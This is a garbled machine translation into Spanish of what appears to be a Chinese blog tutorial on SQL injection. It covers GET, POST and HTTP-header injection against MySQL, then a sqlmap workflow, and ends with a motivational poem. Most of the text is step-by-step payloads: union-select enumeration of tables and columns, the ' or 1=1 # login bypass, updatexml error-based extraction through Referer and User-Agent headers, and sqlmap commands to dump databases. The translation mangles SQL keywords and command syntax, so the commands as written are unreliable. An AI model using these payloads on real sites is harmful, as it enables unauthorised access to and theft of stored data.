seguridad de la red desde la entrada hasta el maestro de inyección (Capítulo IV -2) GET y POST & CABEZA

En este artículo:

  • inyección GET
  • Después de la inyección
  • inyección de la cabeza
  • herramienta de inyección sqlmap

Obtener y después de la inyección es significativamente equivocada:

se da cabeza de inyección:

1, GET inyección:

  conseguir inyectado pertenecen a la inyección falla significativa.

    1. Analizar punto de inyección:

      El método más antiguo es:

        http://www.xxx.com/new.php?id=1 y 1 = 1 muestra correctamente la página.

        http://www.xxx.com/new.php?id=1 y 1 = 2 página muestra un error.

      El método más fácil es determinar:

        http://www.xxx.com/new.php?id=1 y 1 = 1 muestra correctamente la página.

        http://www.xxx.com/new.php?id=1 y 1 = 1 'muestra una página de error.

      El uso de los dos métodos anteriores puede ser prohibición, entonces también podemos determinar otros métodos, tales como:        

        http://www.xxx.com/new.php?id=1 página de noticias muestran id = 1

        http://www.xxx.com/new.php?id=2-1 página de noticias muestran id = 1

      Ya sea directamente o sueño (5)

    Se consideró que hay inyección de SQL en un lugar, que necesitamos para construir el modelo, piense en esta sentencia SQL inyección SQL sería como.

    Obtenemos los datos en otras tablas a partir de una tabla, ¿cómo hacer?

    investigación conjunta

    Pero el uso de la investigación conjunta, se requiere condiciones. ¿Cómo debemos hacerlo?

    Específicamente para ver el siguiente proceso:

    inyección 2.Get proceso básico:

      inyección msql:

      1 determina si hay inyección sql

        y 1 = 1

        y 1 = 2

      2. Determinar los campos de número de página actual:

        id = 1 pedido por 1,2,3 ......

      3. El análisis de los puntos de eco: 3 puntos se añaden eco

        http://www.xxx.com/new.php?id=1 union select 1,2,3 ......

      4. Para consultar la base de datos actual:

        http://www.xxx.com/new.php?id=1 unión seleccione la base de datos ()

      5. Consulta de nombre de la tabla actual:

        http://www.xxx.com/new.php?id=1 unión seleccionar 1,2, GROUP_CONCAT (nombre_tabla) de INFORMATION_SCHEMA.TABLES donde esquema_tabla = base de datos ()

      6. consulta los nombres de los campos actuales:

        http://www.xxx.com/new.php?id=1 select1,2 unión, GROUP_CONCAT (nombre_columna) de INFORMATION_SCHEMA.COLUMNS donde nombre_tabla = "nombre de tabla de resultados de la consulta"

      7. Consulta de contenido de los campos:

        http://www.xxx.com/new.php?id=1 select1,2 unión, GROUP_CONCAT (resultados de la consulta de nombres de campo) del nombre de la tabla de resultados de consulta

    explicación:

      1. Debido a que la consulta de unión requiere el mismo número de campos, por lo que el principio, tuvo que determinar el número de campos, usando el orden de.

      2. Debido a GET inyectada pertenecen a la inyección falla significativa, por lo que tenemos que determinar su punto de eco, tan fácil de ver el contenido de la consulta.

      3.select base de datos (), es la declaración de sql msql para consultar la base de datos actual, MySQL aprendido debería haber ningún problema.

      4. Luego tabla de búsqueda y consulta el campo, ya que MySQL añadido en la versión 5.0 y superiores INFORMATION_SCHEMA este sistema viene con la biblioteca, que contiene toda la información sobre el servidor MySQL mantenida por otras bases de datos, como el nombre de base de datos, la base de datos de mesa, tipos de datos de columna de tabla y permisos de acceso.

      INFORMATION_SCHEMA.TABLES mesa mesas de la biblioteca seleccionada INFORMATION_SCHEMA realidad

      Los nombres de campo y el almacenamiento del nombre de la tabla correspondiente INFORMATION_SCHEMA.COLUMNS.

      5. A veces, si las consultas de base de sitio en varias filas de datos, es sólo la primera línea de salida, por lo que GROUP_CONCAT (), la consulta a la línea de datos de la pantalla.

Estos son la inyección GET, se inyecta aquí a mano, el artículo hablaremos de la última inyección con el uso de herramientas.

2, después de la inyección:

  1. La naturaleza de los ataques de inyección, los datos de usuario se introduce como una ejecución de código.

  condiciones fundamentales:

    Los usuarios pueden controlar la entrada

    Originalmente, los códigos de programa a ejecutar, la costura de los datos introducidos por el usuario.

  POST: la inyección de una parte significativa de la inyección error.

  la inyección de Mensaje se realiza mediante la inyección de participación de las masas, la naturaleza y el tipo GET no es diferente.

  el punto de la inyección de riesgo:

    cuadro de inicio de sesión, y otra caja de búsqueda de base de datos enmarcados interacción.

  La determinación después de la inyección clásica más, que la contraseña maestra 'o 1 = 1 #

  En caso de que usted puede ver el código, puede instrucción SQL si el proceso sensible.

  2.POST inyecta proceso básico:

    inyección de MySQL:

      1 determina si la inyección de SQL:

        'O 1 = 1 #     

      2. Determinar los campos de número de página actual:

        'O el orden por 1,2,3 ...... #

      3. El análisis de los puntos de eco: 3 puntos se añaden eco

        'O unión seleccionar 1,2,3 ...... #

      4. Para consultar la base de datos actual:

        'O unión seleccione la base de datos () #

      5. Consulta de nombre de la tabla actual:

        'O unión seleccionar 1,2, GROUP_CONCAT (nombre_tabla) de INFORMATION_SCHEMA.TABLES donde esquema_tabla = base de datos () #

      6. consulta los nombres de los campos actuales:

        'O select1,2 unión, GROUP_CONCAT (nombre_columna) de INFORMATION_SCHEMA.COLUMNS donde nombre_tabla = 'nombre de tabla de resultados de la consulta' #

      7. Consulta de contenido de los campos:

        'O select1,2 unión, GROUP_CONCAT (resultados de la consulta de nombres de campo) del resultado de la consulta nombre de la tabla #

    explicación:

      1. La inyección de flujo básico con GET como para determinar si se inyecta de manera diferente.

      2. determina si existe inyección de SQL, cuando la cadena está cerrado, hay que prestar atención a la cadena de código antes de comillas simples o dobles.

Estos son los después de la inyección, se inyecta aquí a mano, el artículo hablaremos de la última inyección con el uso de herramientas.    

3, HEAD introdujo inyección

  PHP variables globales - superglobales:

    Muchas variables predefinidas PHP "super-globales", lo que significa que pueden ser llamados en un script.

    $ _REQUSET [llegar llegar | post | galleta en la nueva versión ha sido incapaz de obtener a]

    $ _POST [obtener la POST participación masiva]

    $ _GET [un paso de parámetros GET]

    $ _SERVER [inyección contiene información de cabecera (header), un camino (ruta), y la posición del script (ubicaciones de scripts) y así sucesivamente]

    $ _SERVER muy potente.

  común:

  $ _SERVER [ 'HTTP_REFERER'] Referer de adquisición de datos de encabezado de solicitud.

  $ _SERVER [ 'HTTP_USER_AGENT'] para obtener la información del usuario, incluyendo el navegador del usuario, el sistema operativo, y otra información.

  $ _SERVER [ 'REMOTE_ADDR'] IP de los usuarios navegar por la web.

  inyección de cabeza es la información recogida en la base de datos, correspondiente a la instrucción de inserción, [insertar declaraciones no han encontrado eco].

  No hay eco, no puede pasar a través de la investigación conjunta, ya que no hay salida, esta situación: 1 utilizando la inyección de error 2. ciego.

  Aquí vamos a introducir una nueva función de: updatexml ()

  Sintaxis: updatexml (objetivo contenido XML, documento XML, contenido actualizado)

    举例: updatexml (1, concat (0x7E, (seleccione la base de datos ()), 0x7E), 1),) #

    0x7E es un símbolo especial, entonces el camino no cumple con las reglas de error].

    0x: representantes hexagonales

    7e: ~ firmar en nombre de

  inyección 1.Head proceso básico: En circunstancias normales, después de un inicio de sesión correcto, si no se conoce el número de cuenta y la contraseña, puede utilizar burpsuite voladuras.

   es necesario utilizar el cabezal de inyección a nuestra herramienta de captura: la BurpSuite

   necesidad de inyección de la cabeza para ver de qué manera es obtener información tal como: HTTP_REFERER, USER_AGENT, REMOTE_ADDR

   以 HTTP_REFERER, USER_AGENT, X_FORWAREDE_FOR 为例:

   Si: inyección CABEZA, instrucción SQL de inserción dos parámetros.

    inyección de MySQL:

      1. captura.

      2. determina si hay inyección sql:

        Añadir un código en la captura de datos, 'updatexml (1, concat (0x7E (seleccione la base de datos ()), 0x7E), 1) 1,) #

        Si user_agent en user_agent en adición,

        Si se agrega árbitro árbitro lugar, sólo tiene que añadir solamente un lugar diferente.

        Si x_forwarede_for, se añade en x_forwarede_for paquetes de código añadido

      3. tabla de consulta:

        updatexml (1, concat (0x7E, (seleccione GROUP_CONCAT (nombre_tabla) de INFORMATION_SCHEMA.TABLES donde esquema_tabla = base de datos ()) 0x7E), 1), 1) #

      4. campo de consulta:

        updatexml (1, concat (0x7E, (seleccione GROUP_CONCAT (COLUMN_NAME) de INFORMATION_SCHEMA.COLUMNS donde nombre_tabla = "查询 得出 表") 0x7E), 1), 1) #

      5. consulta:

        updatexml (1, concat (0x7E, (seleccione GROUP_CONCAT (nombres de los campos de resultados de consulta) de la tabla de resultados de consulta) 0x7E), 1), 1) # 3

    Añadido: x_forwarede_for HTTP HTTP se utiliza para identificar el código o por el balanceo de carga de un servidor web conectado a la dirección IP del cliente de las más primitivas.

         upadatexml () es para insertar los datos de dos a uno al principio, al final de una se puede ver de esta manera, si la longitud de la configuración de salida hizo.

4, utilizando el sqlmap básico de inyección de flujo:

    Una manera:

      1. Compruebe si se inyecta, qué tipo de inyección

        sqlmap -u URL --form 

      2. biblioteca de explosión:

        sqlmap -u URL --form --dbs 

      3. mesa de estallar:

        sqlmap -u URL --form --tables -D nombre de la biblioteca 

      4. Campos de ráfaga:

        sqlmap -u URL --form --columns -T tabla Nombre de biblioteca -D 

      5. ráfaga contenido:

      sqlmap -u URL --form --dump -C -T tabla Nombre de campo Nombre -D nombre de la biblioteca 

    Segunda manera: Se puede usar captura burpsuite, guardar en txt documento

        Asumir la captura burpsuite txt nombre del archivo se almacena 1.txt

        Uso agarró un punto de inyección de paquetes, probar y necesidades *, ataque de precisión.

      1. Compruebe si se inyecta, qué tipo de inyección

        sqlmap -r / root / /1.txt escritorio

      2. biblioteca de explosión:

        sqlmap -r / root / Desktop /1.txt --dbs

      3. mesa de estallar:

        sqlmap -r / root / Desktop /1.txt --tables -D nombre de la biblioteca 

      4. Campos de ráfaga:

        sqlmap -r / root / /1.txt escritorio --columns mesa -T -D nombre de la biblioteca 

      5. ráfaga contenido:

        sqlmap -r / root / Desktop -T /1.txt --dump -C tabla Nombre de campo Nombre -D nombre de la biblioteca 

 
Y el rey de estímulo mutuo:
  Ahora no es su vida,
  Jugar con su vida futura.
  Peor de lo que no ha darse por vencido,
  Más fuerte que usted todavía está trabajando,
  ¿Qué derecho tiene usted que decir "no puedo hacer nada"?
  Mezcla para mezclarlo a cabo en,
  Escuela para aprender de un vistazo.
  Cayó inferior a ponerse de pie,
  Enojado es mejor en vivo hasta las expectativas.
  No pretenda muy duro,
  Después de todo, los resultados no le acompañan por actuar. 

Supongo que te gusta

Origin www.cnblogs.com/xz25/p/12584897.html
Recomendado
Clasificación